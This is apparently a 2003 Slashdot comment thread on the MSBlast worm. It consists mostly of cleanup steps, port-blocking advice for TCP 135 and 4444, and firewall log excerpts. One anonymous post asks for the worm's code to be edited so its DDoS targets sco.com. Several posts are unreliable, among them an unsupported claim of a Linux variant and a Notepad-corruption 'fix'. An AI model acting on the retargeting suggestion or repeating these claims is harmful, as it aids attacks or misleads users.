Re:Block TCP 4444 and TFTP = UDP 69 at Routers

[Knightmare]

The larger it gets the more the control slips, you can easily put your hands on 40 boxes. You can't easily put your hands on 100,000+ desktops, of which at least 65,000 are running DCom and are located in damn near all of the contiguous states and several countries...

When you move things up to that level you run into problems that you could never imagine... Just trying to share the perspective of how things work in BIG companies.

Re:Block TCP 4444 and TFTP = UDP 69 at Routers

[lucifuge31337]

ok, the network I'm involved in admining is only about 40 boxes.

We'll talk when you get a real network to manage. Until then, try not to make too many more embarrasingly oversimplified suggestions of how to secure a network.

Re:Block TCP 4444 and TFTP = UDP 69 at Routers

[fanatic]

port 135 from the internet is not the only vector. Example: joe user takes his laptop home, connects to the another network, gets this. Now he comes in, cannects to your network and now you have this, even though you closed down your connections to the outside.

Re:Block TCP 4444 and TFTP = UDP 69 at Routers

[Anonymous Coward]

Then tomorrow its port 5555, then 6666. Stop using microsoft they dont care about security.

Re:Block TCP 4444 and TFTP = UDP 69 at Routers

[RT Alec]

Great, you let home users (on cable modems, perhaps?) access your sensitive data via FTP? So just one teenager sniffing on the cable line now knows the user name and password to get in.

Sounds like you have done a lot to keep script kiddies happy.

Catch-22 cleanup

[mosschops]

This worm seems particularly nasty because it prevents you getting online long enough to download the patch. If you go online you're likely to get hit again, and the reboots continue.

Here's a work-around I've been talking some of my relatived through tonight. It's not something I'd normally want to expose them to, but it certainly saves me a visit to do it myself!

If you're on a LAN, disconnect the machine from the network before you boot up, to prevent other infected machines from rebooting you again.

Right-click on My Computer, select Manage, then under the Services and Applications branch pick Services.

Right-click on Remote Procedure Call (RPC) in the list on the right, and select Properties. On the Recovery tab, change the 3 combo boxes from "Restart the computer" to "Take no action". Click OK to close the dialog.

You're still vulnerable but your machine won't reboot, giving you time to go online and get the patch. Reconnect your network cable, or establish your normal dial-up connection.

Go to http://support.microsoft.com/?kbid=823980 to grab the patch for your machine. As soon as you've got it, disconnect your network connection/cable, and run the patch. BUT don't reboot when prompted!

Open RegEdit and browse to HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run and delete the "windows auto update" value, which starts the worm when Windows starts. Now restart Windows and you should be free of the worm.

To finish the cleaning process, delete C:\WINDOWS\SYSTEM32\MSBLAST.EXE

Re:Catch-22 cleanup

[evil-barn]

Now if only the people who were having this problem could get online long enough to read that (:

Re:Catch-22 cleanup

[mosschops]

Now if only the people who were having this problem could get online long enough to read that (:

Heh, that's true :-D

The hope is that anyone reading /. will already know about the exploit, and be patched up against it. I imagine lots of us are going to hear from someone who has been hit by the worm, and it's nice to be prepared with answers/instructions when they call.

Re:Catch-22 cleanup

[BrainInAJar]

I'm working helldesk tonight.
Helped my customers out... Thanks mosschops!

Re:Catch-22 cleanup

[Zork the Almighty]

Thanks mosschops, I've used these directions 3 times for people I know.

Re:Catch-22 cleanup

[mosschops]

I'm up to 6 so far, and can't imagine that will be the end of it!

Rather than change the service recovery options, I now use: Start Menu -> Run and enter "shutdown -a" (without the quotes). If the 60 second shutdown is running that cancels it, giving you time to get online for the patch. It does rely on the machine having been hit since you go online, but with the cases so far that has been taking under 30 seconds!

Misleading technical details

[estoll]

This quote is from Microsoft's web site regarding this vulnerability.

"... Remote Procedure Call (RPC) is a protocol used by the Windows operating system. RPC provides an inter-process communication mechanism that allows a program running on one computer to seamlessly execute code on a remote system. The protocol itself is derived from the Open Software Foundation (OSF) RPC protocol, but with the addition of some Microsoft specific extensions.

There is a vulnerability in the part of RPC that deals with message exchange over TCP/IP. ..."

It makes it sound like RPC has the flaw instead of Microsoft's implementation of RPC being the problem.

Patch

[Anonymous Coward]

I got this virus around noon today and just got it all taken care of. What you need to do is go and download the patch from microsoft. You can find it here

I suggest you first disable RPC or set the status to not restart the machine (type in services.msc in run) and then go to the site and download the patch.

Re:Patch

[pair-a-noyd]

"What you need to do is go and download the patch from microsoft. You can find it here"

I found a much better patch here.
It works great and it won't happen again once you apply this patch..

Windoze Auto update doesn't necessarily work!

[Anonymous Coward]

I feel sorry for anyone depending on Windoze Update. Like many M$ products it's broken, at least part of the time. I'm pasting below a couple of posts from NT BugTraq and Full-Disclosure last month discussing this:
-----------------
Message: 16
Date: Wed, 30 Jul 2003 17:09:14 -0500
From: "Schmehl, Paul L" (email address removed)
To:
Subject: [Full-Disclosure] Patching networks redux

For all those experts who have mastered patching your networks, please ignore this post.

For the rest of you, testing has shown that some patch management tools are incorrectly reporting that MS03-026 is installed when it's not (notably Windows Update and Update Expert, among others.) The accuracy of the tool depends on how they check for the patch level. If they check the registry (like Windows Update and Update Expert do) they will *incorrectly* report that MS03-026 has been installed when if fact the files have not been updated. If they do MD5 checksums (like Hfnetchk or MBSA), they will correctly report the patch level.

The Retina tool from eEye (and I would assume the IIS commandline tool as well) is correctly reporting what *is* patched and what is *not* patched, so you need to rely on those to give you accurate information. You could actually have users going to Windows Update and finding no patches available when in fact they are still vulnerable. You could also have users for whom you've pushed out the patch who have overwritten the files with older versions, yet your tools are reporting them as patched.

Of course the experts never have these problems, but for the mere mortals, caveat emptor.

Paul Schmehl (email address removed)
Adjunct Information Security Officer
The University of Texas at Dallas

-----------------
http://www.ntbugtraq.com/defa ult.asp?pid=36&sid=1& A2=ind0307&L=ntbugtraq&F=P&S=&P=92 18

MS03-026 - are you patched? Windows Update isn't sure!

Content-Type:
text/plain; charset="iso-8859-1"

FYI, it is worth reminding people that some patch checking tools don't do a complete check. Windows Update doesn't check files, and it would seem that other products have problems also.

Some tools only check for the presence of a registry key indicating that a hotfix was applied. Other tools, such as Shavlik's HFNetchk and MBSA (and others) actually check file details, including a checksum, to verify that the files in play are actually the right versions.

I was speaking with Jeff.t.Parker @ hp.com about this issue. His observations confirm this (see below). If patched files are reverted to previous versions, for whatever reason, Windows Update and (at least in this case) Update Expert (and possibly other such tools) will incorrectly assert you have the patch applied when in fact you don't.

He wrote in to advise that Update Expert (v6.0 build 6069) is giving erroneous results at least in some cases. After applying SP4 concurrently with MS03-026 (using Update Expert), Jeff noticed some interesting results. The resulting versions of the files contained in MS03-026 on some machines were;

5.0.2195.6692 ole32.dll 5.0.2195.6701 rpcrt4.dll 5.0.2195.6702 rpcss.dll

This led to Windows Update and Update Expert both reporting that the systems had MS03-026 applied (wrong). MBSA and eEye's Retina both said the systems *did not* have MS03-026 applied (right).

While this may be a problem with the way Update Expert deploys Service Pack + Hotfix combinations, it also demonstrates the problem Windows Update has by not being able to examine file details (relying only on registry entries).

How many systems are out there now who believe they have MS03-026 applied, can't get it offered to them from Windows Update, but in fact don't have it applied at all??

Cheers, Russ - NTBugtraq Editor

-----------------------

The MS Patch does NOT work after the fact.

[akulbe]

I work tech support for an ISP. We are getting a lot of calls from customers that have already been infected. Once this is the case, and you attempt to install the patch, the system will not allow you to shutdown or restart in a normal manner. So the registry writes are not done, in effect not even installing the patch. The other scenario we have seen is that if you DO get the patch to install, the RPC service is shutdown midway, and kills the install process, and throws the machine into a infinite loop of reboots. At this point... I'm thankful I run Linux. This just provides one more piece of ammunition for the pro-Linux debate.

Misleading Quote

[Cheffo Jeffo]

Are you whoring for karma today ?

The first sentence read "correct a security vulnerability in a Windows Distributed Component Object Model (DCOM) Remote Procedure Call (RPC) interface".

Don't know how you could think that Microsoft was misleading anybody (by all means, slam Microsoft ... just make it good).

You could only be mislead if you ignored the rest of the article in question ... oh wait ... this is Slashdot ...

Cheers,

JAKD

pay attention, son...

[poptones]

Win2K pre-SP3:

spam popups every day; port 135 wide open, DCOM blazing away

Post-SP3:

no popups; port 135 still wide open, but not much there because DCOM is now DISABLED.

Like I said: it's just a "junk box" I setup the other day because the power supply died in my "good" server box. I haven't installed the googleplex of win2k patches because I don't think it's worth it - I'm only using it temporarily and if it gets hit I'll reinstall the OS (or stick a freesco floppy in the drive and reboot). This is just something I noticed when I read today's "warning" and went into that machine to disable the offending service.

Mod article +5 funny

[pair-a-noyd]

What can I say but, gotta love them M$ $ploits!
And what's so odd about this on it that it's not your daily buffer overflow..

What I do hate about this is that it does hammer my poor friends that are to afraid to switch to Linux.

This is like the Stockholm Syndrome. They've become attached to their captor/tormentor and are afraid to let go. Windows is more powerful than heroin or tabacco..

Better go download a patch manager...

[Anonymous Coward]

Ecora Patch Manager

botched virus

[sniggly]

Lucky so far that the virus is such a botched hack job that it reboots the computer, if it hadn't shut down RPC and rebooted systems, people wouldn't patch until whatever next incarnation of this worm made them patch.

Alternative "fix" to the 22 steps one:
1) insert knoppix cd in drive
2) reboot computer
3) activate booting from cd in bios

I GOT WORMS...AND IT IS GOOD!

[thelizman]

So, it's been about 5 days since my computer started crashing. Actually, it didn't toally crash, but DCOM kept crashing, and occasionally RPC would crash and I'd be forced to reboot. No biggie it only happenned once that I noticed. A more common problem was Mozilla staying memory resident after I closed it out, and sucking up 50 MB of RAM (not Windows's fault). So I got used to CTRL+ALT+DEL'ing, and closing it manually. But suddenly, one day last week, Program Manager kept crashing - but not...it was closing. I did a series of rapid CAD's, and saw a program that was obviously bull. A quick trip through the registry turned up the "WindowsSuckz 4 Driver - gloaub.exe". Turned out I had a worm which was installing a backdoor. My computer could have been used as a DOS zombie, or they could have installed keylogging software! I felt....DIRTY.

So I said "screw Microsoft". I've been a good boy. I apply an endless march of patches, service packs, hotfixes, and upgrades - more often then necessary IMHO. Well Microsoft didn't post a fix for this until nearly two weeks after it was discovered in the wild! By contrast, I remember the last Linux server I ran, a vulnerability was discovered in Apache+SQL that allowed backdoor access to a Linux system. Before my sweaty hands had finished an executive summary for da boss, a fix was issued. Literally...TWO HOURS for OpenSource to fix a bug vs Micrsoft taking TWO WEEKS!

Well I had dabbled in Linux for a while, I felt confident, and I was impressed by the latest round of offerings from RedHat, Suse, Mandrake, and Knoppix. So, I switched. I now run KDE, I use XawTV for my tuner card, Xine for playing DVD and video files, CUPS lets me print even over a network, SAMBA lets me share files....hell, you get the idea. The only thing I can't do is play windows games. I left a clean WinXP install for playing games until Wine gets that little "reentrant libc" issue fixed, and I'm sure the /dev/ team over at America's Army will get my v1.9 for Linux edition out soon enough.

Microsoft might have to learn about free market competition the hard way - by competing with an OS that is not only free, but better.

Minimization of network services on Windows system

[oodl]

Windows can be made more secure by editing the registry to turn off some of the network services. The steps recommended in the following Windows security page are somewhat of a pain to do, but are useful.

Minimization of network services on Windows systems
http://www.hsc.fr/ressources/breves/min_s rv_res_wi n.en.html

Follow the attack from Linux

[Anonymous Coward]

For those with 2.4.x kernels try on your upstream connection (as root):

# iptables -I INPUT 1 -i ppp0 -p tcp --dport 135 --syn -j LOG --log-level info

Now sit back and watch your console/x-console or tail the appropriate log file while the packets come in (with source address may I add...)

I'm getting about 3-4 connection attempts per min. and I'm on dialup!

NOTES:
1- Change ppp0 above to the name of your Internet interface if not using ppp0 (ie. eth0, eth1, etc)

2- Do not do the above if you receive normal traffic on port 135 (if you have a Windows share exposed on said interface, ie. tru samba) or your logs will be swamped.

if your an admin who is concerned about this issue

[shaitand]

perhaps it's time to get a real operating system and quit playing with insecure toys.

Just an FYI, Typical Firewall No good...

[Anonymous Coward]

and several sites are now listing Linux (most versions) now vulnerable to a variant emerging in the last two hours in Europe. Apache servers mostly.

My network got hit over port 80 on the firewall, a port left open for certain services... all of my workstations sans one test workstation with teh patch in place were hit, and two servers out of four. The fix is NOT in autoupdate for XP, you have to do the manual update to get it.

Liar, liar, pants never on fire

[Platinum Dragon]

Nice try, but that bit about having a girlfriend was Just Too Obvious.

iptables logging

[ErnieD]

I've had iptables logging port 135 accesses for about two hours now. 55 total attempts, 44 from unique hosts. Most within my ISP. Wheee!

Re:iptables logging

[Sandman1971]

Lucky. My work laptop got hit 5 mins before this article appeared (though my other 2 XP machines at home weren't affected, strangely enough, since they're all on the same subnet). Once I tossed in firewall rules in ipchains, I was logging on average 2 requests a minute, around 80% of it coming from my own ISP and approximately 60% were unique hosts. I've since turned off logging on those, so my logs don't get filled up with this crap. Wheeeeee indeed!

Re:iptables logging

[pair-a-noyd]

Same here, 135 hammered all to shit from my isp.
Quite a few hits on 445 too.

I just got a call from my friends son in another state, he just got the damn thing, I had warned him about it earlier today but his wife won't touch Linux so he install W2k.. Boom...

Now if he farts wrong it reboots. I told him to wipe out the windows, reload Linux and divorce the wife if she won't play nice.

Otherwise, may as well give up, you can't win with windoze..

Re:iptables logging

[PhoenixFlare]

Gotcha beat there :)

810 hits on the router and counting, from 491 resolvable hostnames. 90% of em from within my ISP (Roadrunner) like you...Lots of them from NYC, for some odd reason.

5 more hits just in the 2 minutes it took to type this :P

It's heeeerrreeee...

[AndroidCat]

I wondered what all the cruft in the logs for port 135 over the last few hours was. There had been a low volume of port 135 hits over the couple of weeks, when usually there are almost none. I glanced at the logs while having a coffee, and immediately thought "Gee I wonder what MS exploit is loose this time?"

*sigh*

Patching an infected system online solved.

[Anonymous Coward]

In order to patch an infected system while
connected to the net do the above steps look for both MSBLAST and msblast in the registry.

Also create a /windows/system/msblast.exe file and then keep it open with word. The file lock kept the msblast.exe from restarting on my system when connected to the net.
!joatlanta@@yahoo.com

Um...

[Greyfox]

Or you could just stop at step 1. It'll be extremely secure in that configuration...

DSL Users beware...

[Lodragandraoidh]

Just bought my wife a new XP machine - because she has been having issues with the crappy linux boxes I have given her [300mhz should be fast enough for anyone...](all of my machines are Linux - daughter has an old win98 and a linux box on kvm).

She complained that her computer was shutting down all day - get this, I don't have any ports enabled on my router - its closed tighter than duck's ass.

So, I'm sitting there, and she decides to turn her machine back on - a few minutes later....BAM...my whole DSL network goes down.

So, not making the cause and effect connection, I call my local phone company. They are able to ping my DSL modem. So they go through the motions, and get me to hook up my XP machine to the network directly through the DSL modem...friggin' brilliant. I hook it up, and ...BAM! again... This time its an 'RPC' call error - 'shutting system down' message. Crap. I shut the system down and pull it completely off the network.

I then check my linksys router - everything on it is reset to the defaults...everything. No ppoe settings, no password [its set to the default] - nada, nothing, zip.

I reset everything, and up comes my network - thats when I browse on over to /. and see this post about the worm. I do a little forensics and find the c:\winnt\system32\msblast.exe, and c:\winnt\system32\pre[a-Z*]\msblast.exe.23oiu4i734 - I assume the pftp scratch file. Son-of-a-bitch.

I also look for the registry entry to restart the worm - but don't find it (so far, so good). I delete the scratch file ok, but the msblast.exe file will not delete (the system says the wheel user isn't authorized - what kind of Mickey-Mouse operating system is this!!?)

I want to know:
1. how to clean this up?
2. how the hell did this thing ZAP my Linksys with all the ports disabled?
3. where the hell can I get my $99 back for this bogus operating system?

Re:DSL Users beware...

[TheMatt]

Friend, you need to do all the deleting and regedit'ing in Safe Mode. Since msblast starts with Windows, you'll never be able to delete it in Normal mode.

I've been helping my parents and sister with this all night. I MUST REMIND MYSELF THAT I AM THEIR ADMIN!!!

Re:DSL Users beware...

[Sandman1971]

Wrong. I just opened up the Task Manager, killed msblast.exe and I was able to delete it. All in normal operations, and not safe mode.

Re:DSL Users beware...

[Lodragandraoidh]

I ended up doing a full install.

It really screwed up the system bad, and a restoration did not work.

May Bill Gates, and whoever released this into the wild burn in their own little private hells...

Re:DSL Users beware...

[Anonymous Coward]

*sigh*, I've been fixing this thing all day. I work in tech support and we noticed something was up around 11:30am pst when everyone seemed to be fixing the same issue.
Everyone I dealt with was for XP.
First disable the automatic reboot when rpc goes down, find adminstrative tools icon in control panel, switch to classic view if you're having a hard time finding it. Then open services and browse to remote procedure call. There are 2 of them, the 2nd one is the locator, don't bother with that one. Double click it in the list, hit the recovery tab and change all the drop down lists you find from automatically restart computer to 'take no action'. Now the system will stay up when rpc pukes when you get connected to the net again.
Next kill the msblast.exe process using the task manager and delete the registry entry "windows auto update"="msblast.exe"
found in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run
Now connect to the internet and get the rpc patch from Microsoft, their knowledge base article 823980 has a link . Usually I changed the settings back to autoreboot at this point. Now you can get updated virus definitions and run a scan. We had it down to 15 minutes by the end of the day. Fun stuff.

Re:DSL Users beware...

[NFNNMIDATA]

Assuming this worm is propagating via email or something, it didn't zap your linksys router. The router will just keep connections from coming in, once you have the worm it's a matter of keeping connections from going out, and that's where you really need a firewall of some kind.

Now, if the worm only propagates through the RPC flaw, it doesn't make any sense that your wife would have picked it up while connected thru the router. Unless of course she has having some other unrelated problem first, called DSL help, and they had her connect to the modem directly like good little robots...

Re:DSL Users beware...

[Lodragandraoidh]

I was up until midnight loading software...and loaded the security patches from the Microsloth web site...

Interestingly, I found the registry link to the msblast.exe not in the directory listed, but in SOFTWARE\ACJM\5204 - something along those lines (my spelling could be off).

I would suggest doing a search on 'msblast.exe' in the registry to make sure you don't get a mutation.

Re:DSL Users beware...

[loraksus]

it could of have been worse, formatted drives, the such. rebooting may be annoying, but by no means is it the most destructive thing that can be done.

Re:DSL Users beware...

[Anonymous Coward]

Thanks Apple for giving me a Unix Operating system and for providing me a virus free server and desktop environment.

Re:DSL Users beware...

[gatkinso]

Or you could have killed msblast.exe from taskmanager and then simply deleted it... ... wait a minute: what kind of Mickey Mouse admin IS this?

Stats thread

[LinuxHam]

Let's hang some stats in a thread..

I've have 302 hits from 17:30 to 21:30 with the top 5 heavy hitters coming from my Comcast neighbors in Bensalem - 77, Wallingsford - 62, Lower Merion - 55, Jamieson(?) - 25, and Levittown, PA with 18 infected hosts.

Come on Besalem, call your neighbors and tell 'em to patch!! :)

eep

[syberdave]

This thing is getting around quickly...

Aug 11 21:43:29 syberpc kernel: fw: IN=ppp0 OUT= MAC= SRC=66.233.77.64 DST=66.236.160.x LEN=48 TOS=0x00 PREC=0x00 TTL=111 ID=26462 DF PROTO=TCP SPT=1951 DPT=135 WINDOW=16384 RES=0x00 SYN URGP=0
Aug 11 21:43:30 syberpc kernel: fw: IN=ppp0 OUT= MAC= SRC=66.235.38.60 DST=66.236.160.x LEN=48 TOS=0x00 PREC=0x00 TTL=115 ID=59390 DF PROTO=TCP SPT=4309 DPT=135 WINDOW=64240 RES=0x00 SYN URGP=0

My solution

[Overly Critical Guy]

It's called patching, the day it was announced. Slashdot even had an article on the thing.

I'm not sure about removing it....

[TheBoostedBrain]

Trend Micro says that this worm performs a DDoS to Windows Update Site, I'm not really sure about removing it...

Re:I'm not sure about removing it....

[pair-a-noyd]

I like the way you think...

Re:I'm not sure about removing it....

[JTunny]

Can't wait for the rpm's ;)

About time

[menscher]

I know I probably sound like a jerk, but people who are unpatched after a month deserve to be infected.

Worms are just the internet's way of Darwinism. Every 6 months or so, you have to wake up the masses to the concept of patching.

Same goes for the really dumb viruses, like the love bug. Notice how they're always spread about 6 months apart?

See you in another 6 months....

Re:About time

[edxwelch]

I'm just waiting for somebody to make a virus that uses a hole that MS has yet to discover. In that case the only patch available will be to install Linux.;)

Re: To Delete msblast: 1st End Process "msblast"

[CFrankBernard]

To delete the msblast file, you may have to first open Task Manager, click the Processes tab, highlight the "msblast" process and hit the "End Process" button...then try to delete the file.

This is hitting us hard.

[Anonymous Coward]

I work at a isp and we are getting slammed with calls!!!!!!!

Re:Minimization of network services: another link

[CFrankBernard]

This site is good too: http://blackviper.com/

XP reboots!

[MikeFM]

Damn this thing caused me hell fixing my parents XP box tonight. Every time I'd get online to download the patches for it the damn thing would be touched by the worm and would reboot itself. Very annoying when downloading patches over a 56K modem.

Re:XP reboots!

[Anonymous Coward]

If you're having problems with XP rebooting, go into the control panel, administrative tools, Services... then go into the properties of RPC and set it to perform no action if RPC fails. This will allow you to get the stuff downloaded so you can then patch your system and reboot.

Re:XP reboots!

[JamesP]

Use the XP firewall! I use it and only time i got Zapped was when I turned it off...

Re:Sure to be modded down as Troll...

[Anonymous Coward]

told ya!

It doesn't change the facts, tho, does it?

Hahahahaha!

Already Patched!

[Penguin Follower]

I've had that patch installed on my windows box(es) since August 4th via windows update.

Re:Already Patched!

[josepha48]

Well somebody doesn't 69.3.52.1500:4444 -> x.x.x.x:445 !

This is what I found in my log today ;-). I guess I wonder why windows can't make it more difficult for people to create self spreading virus ? Linux, BSD, and UNIX don't SEEM have these self spreading virus. Don't you ever wonder why MS with all is billions of spare dollars, can't prevent this? I guess they are getting better at it and someday they will probably actually have a system that is tough to crack.

My favorite worm that keeps hitting my firewall has this signature: 210.54.66.46:1028 -> x.x.x.x:137. My poor system is being attacked by a number of systems.

If I had a dime for each port 137 attack on my system I'd be a millionair!

Re:Already Patched!

[Penguin Follower]

Apache (running on my aforementioned patched win2k server) keeps logging a bunch of http requests matching that of code red... appearantly even that one is still floating around.

"I guess I wonder why windows can't make it more difficult for people to create self spreading virus ? Linux, BSD, and UNIX don't SEEM have these self spreading virus. Don't you ever wonder why MS with all is billions of spare dollars, can't prevent this?"

Actually, Linux has some known (nasty) worms out there, too. I should know, one of my linux servers was hit by a nasty one a couple years ago. Now, had I kept up with security notices & patched my systems more regularly as I do now that wouldn't have been a problem. These days I am on the CERT advisory mailing list, and a few others as well.

RPC KEY CHANGE

[2true]

I got the RPC message when ICQ automatically downloaded some patch. It kept restarting me only when I was online. I then changed the windows XP key (via corp key changer) and it worked. No more problems. I GOTS HAXORED DAMMIT

I was hit on Friday, way before it was "found"

[glitch23]

Friday morning I found my system was rebooted and sitting at a Linux prompt (I dual boot). I couldn't figure out why except the night before I had to do a reinstall of my system and previously had the Windows firewall running. Later on Friday and into Saturday I'd get system messages that RPC service terminated unexpectedly. I could never figure out the problem. Then my ex-girlfriend gets it this morning and when I get home I fight to deal with about 10 reboots in less than a 2 hour period at random times. She calls Dell and they alert her to the worm. She then alerts me that its a worm. I then use linux to do some research on it.

Short story is to delete msblast.exe from c:\windows\system32 either from linux or from a bootup dos prompt (otherwise you get access denied while in windows). Then install the patch at That's for the XP 32bit version. Win2k version is about 850k, 500k less than the XP version.

Re:I was hit on Friday, way before it was "found"

[Anonymous Coward]

Maybe you should terminate the msblast process before you try to delete it...

You know, the whole thing about Windows' not allowing one to delete a file that is in use...

Holy crap, never seen so many infections

[Simon Garlick]

JESUS, this is the most virulent worm I've ever seen! I personally know ten people who have been infected this morning alone.

Re:Credit

[zinkem]

Hey, writing on drugs helped The Beatles sell merchandise...

Washington Post

[hirebrand]

Washington Post article, Aug. 11

This thing is out of control

[spike it]

My network at work was infected, making today's day at work virtually work-less. Patches were installed, systems were scanned, blah blah...what a pain in the ass!

Re:This thing is out of control

[BrainInAJar]

I work helldesk. My day was the busiest I've had since XP was released.
So screw you! ;)

SUS doesn't need to be in a domain

[Anonymous Coward]

Trust me, I have one running in a Netware shop.

Linux users are ok, but...

[fr0z]

my concern is the bandwidth consumption of these kind of worms. It may not eat bandwidth like Slammer did, but it still impacted my download speeds...

My poor torrents :(

Re:Sure to be modded down as Troll...

[Mooncaller]

The post was'nt a troll, merely redundant; in the same way that "monsoon season" is redundant.

This thing is nasty...

[Screamer49]

I've been lazy lately with updating my windows box and managed to get this virus today. My machine was telling me it was going to shutdown within roughly ONE MINUTE from the time I started its internet connection. Nasty...

Notepad: kills bugs dead

[Spy Hunter]

Actually, that's a different worm. I should know, I've been infected by both of these in the last week :-) I've been running an unpatched XP install on my desktop. I don't have any antivirus software installed (the only really successful worms are the ones that aren't stopped by antivirus software, what's the point?) so I have to defeat viruses myself in open combat ;-)

Anyway, the one thing I found that killed them both is Notepad. Just open up the executable in Notepad, type a few random characters here and there, erase some things, mess up the file header, and then save right over the virus! They're never expecting that. Make sure to kill the virus processes first, of course, or else you'll get the infamous "access violation". (In the case of msconfig32.exe, you must use the command-line tools 'tasklist' and 'taskkill') The viruses might restore themselves if you remove them from the registry, or delete the file, but they're not expecting you to corrupt the executable. If Windows, in its infinite stupidity, tries to run the virus again, it will fail harmlessly.

P.S. I know, I know, you're wondering why I'm running an unpatched XP install on my desktop. Well, I just reinstalled, and only have dialup, and I'm going back to college in a month where there's super-broadband. Downloading 30+ MB (conservative estimate) of service packs, patches, hotfixes, and updates over dialup (not even 56k, more like 28.8) seems pointless. Besides, it's interesting seeing actual virus infections happen and fixing them myself. If anything goes horribly wrong, I have my XP cd right here to reinstall again. I'll be reinstalling and patching when I get back to a real internet connection.

Parent's basement?

[macshune]

Man, they made me put my slackware box up in the bathroom! IN THE BATHROOM! "The basement is full" they said. I already have to sleep Harry Potter-style under the stairs! You may have to run complicated networks, but I bet your Big Iron doesn't need a freakin' de-humidifier!


This has been a joke. If it were other anything than a joke, you have laughed would have.

Worm suppressing measures to delete it?

[Anonymous Coward]

When I first encountered this, my first attempt was to open the Task Manager, but I couldn't, the window was instantly close. Tried again... same result. I tried to open MSCONFIG to try to al least disable it and buy myself enough time to run windows update... it instantly closed. only after I ran windows update did I escape this crap worm.

Anyone else have trouble with Task Manager and MsConfig?

those are probably "0wned" boxes

[Barbarian]

You think they'd actually ftp to their own boxes? Those are "rooted" boxes for sure.

This thing is nasty...

[Screamer49]

I've been lazy lately with updating my windows box and managed to contract this virus. In roughly ONE MINUTE of firing up the my internet connection my machine was already shutting itself down. Nasty...

scanning for port 4444

[frankie_guasch]

If I scan the network for PCs that listen on port 4444, will I get a list of compromised hosts ?

Hey! I resemble that remark!

[eco2geek]

Insensitive clod!

A small question

[xyvimur]

Does it have anything in common with the bug in Windows discovered by Polish group.

Pulling the Tiger's Tail..

[Anonymous Coward]

So I'm reading this article and the "Billy" Text and thinking what a fool the guy who wrote the exploit. By openly challenging MS, this will incite MS to further tout Palladium and all the other silly "Secure computing" initiatives...Let's Just say...I hope y'all LOVE using smartcards and 'activating' applications and using only 'signed' applications... Keep doing sh** like this and we'll all be 'locked down'.

Auto-Update is irresponsible

[senducemhere]

No! Do not have auto-update on. This will cause problems in a production environment. For example, SP4 does fine until it finds a server that you have actually attempted to harden using M$ IIS lockdown tool - the lockdown tool will make changes to the IIS server that SP4 will also attempt to make - the SP4 installation will crash.

Re:Auto-Update is irresponsible

[Sethb]

Auto-Update doesn't install Service Packs, so SP4 will never automatically install if you have it turned on. They still have to be installed manually, or by pushing out an .msi through Group Policy.

Re:Auto-Update is irresponsible

[Thundersnatch]

That's completely untrue, at least in the general sense.

I've had no trouble applying SP4 to a half-dozen SP3 web servers that had IIS lockdown installed. I think you're blaming the wrong bit of code for your SP4 install failure. Did you actually look at the installer log?

It seems that it had caused a worldwide panic!

[freev]

It seems that it had caused a worldwide panic!

I am a university student in China mainland, we connect to the internet via firewall of our university. in the recent days, many computers in local network were attacked by hackers using RPC vulnerability. PCs which were attacked reboot without any reason. Some displayed "scvhost.exe runtime error! The computer is going to shutdown within 60 seconds..."

Someone told to run Dcomcnfg.exe, and disable "Windows Distributed Component Object Model " would be help. I was wondering why? and if that really works. For I have installed the patch for Windows XP, so I can't check it myself.

ps: It is the first time to post reply on slashdot.org. :)

Re:It seems that it had caused a worldwide panic!

[Anonymous Coward]

That sounds like it would work. The worm sends malformed RPC packets and DCOM allows it to exploit Windows 2000 and XP.

For now, just blocking ports 135 and 4444 will stop it, but I'm sure that by end of day there will be strains using other ports.

Re:It seems that it had caused a worldwide panic!

[freev]

Not yet! The situation is getting worse now. CCERT predict that about 90% PC user would be hitten

exe called

[Anonymous Coward]

winblast.exe , look for it in the reg. and c:\windows\system32

Finally something good

[Anonymous Coward]

About using windows 98 se.It's so old no one writes viruses for it anymore ;-)

Thank you!!! Bill Gates so very much..

[Anonymous Coward]

For the perfect birthday gift , you A**H*LE!!

Aborting Shutdown

[Anonymous Coward]

If you get hit, and the computer wants to shutdown, just go into the cmd prompt and type shutdown /a

Re:Aborting Shutdown

[billeger]

You'll find yourself using this advice more than once and you've only got a minute to do it!

HAHAHAHAHAHAHA

[crusher-1]

Happy Penguin :)

(sorry, couldn't resist)

Have a nice day - I am.

But seriously. Wasn't W2k3 part of Bill's new secure software initiative? I feel really bad about all those locked in end users. They don't understand this stuff and all they know is that that new OS from M$ is no different than the previous version - unsafe at any speed.

Ok so Bill Gates essentially fulfilled his promise related to making an OS that everyone can use. Ya, Joe and Jane Average can do all their music, and movies, and web content, and IM chat, etc... But they spend long hours on the phone with tech support. Now a worm is out that circumvents the patch. Most people wont likely be able to fix the problem and get online to get the patch before they're hit again.

With all the time and money average users spend trying maintain, fix, and update their system they might as well make the switch and learn to run Linux or change to Mac.

This ain't gonna get better and will probably get worse. Oh, and don't think for a minute the Longhorn, Palladium, and WinFS is going to fix this either. Cut and Paste coding is the status quo at M$ and their corporate culture is as much to blame as shotty product development.

Linux and/of OS X won't bring M$ down, they'll do that all by themselves. Having an alternative will just hasten it in all likelyhood.

I'm not saying M$ will drop of the map, but they will lose market share - it's inevitable.

Pah

[Anonymous Coward]

Don't patch anything, no more AOL users online for a bit would be bliss.

Re:go ME doh!

[g-san]

insert "me too" comment here --->

fer once, after that damned other virus that deleted my virus software, i feel safe knowing my os is safe from this one even though it sucks donkey ballz. hate it. where is ps when I need it, and kill, and my /etc/rc.d so I could find those meself.

enough rambling. if anyone can help me play (or can slap me on the head with a didn't ya try it yet ;) diablo II and cossakcs and roller coaster tycoon in linux in wine lemme gnow, odderwise my game machine stays.

-g

your kernel has already been hacked by your c compiler

Re:go ME doh!

[g-san]

sorry to respreck on my own comment but the nanog achives is always a good place to watch (future and past) 'net wide events.

nice perspective from the trenches.

-g

recompile yet?

If you don't test it, don't use it

[RMH101]

in a validated environment you can't have MS automatically installing things that you've not tested in a test environment. any systems that deal with financial transactions, anything relating to data protection, anything in the pharma industry: you'd be breaking compliance downloading the latest patch willy nilly.

it's your ass when you find due to some obscure interaction it's fragged your data...

Change Worm

[Anonymous Coward]

Would anyone be so kind to change in the virus code the DDOS address?

Just change windowsupdate.com to sco.com

It's very simple...like this

before: windowsupdate.com/0
after: sco.com/0pdate.com/0

Easy money

[anticypher]

Since this hit yesterday, I've had lots of friends call me up wondering if I can fix their machines.

Of course, 75 euros if you bring me your machine, 100 euros if I have to visit. So far, 6 people have brought me their machines, the local computer repair shops are charging people something like 199 euros just to slap on a patch and a service pack.

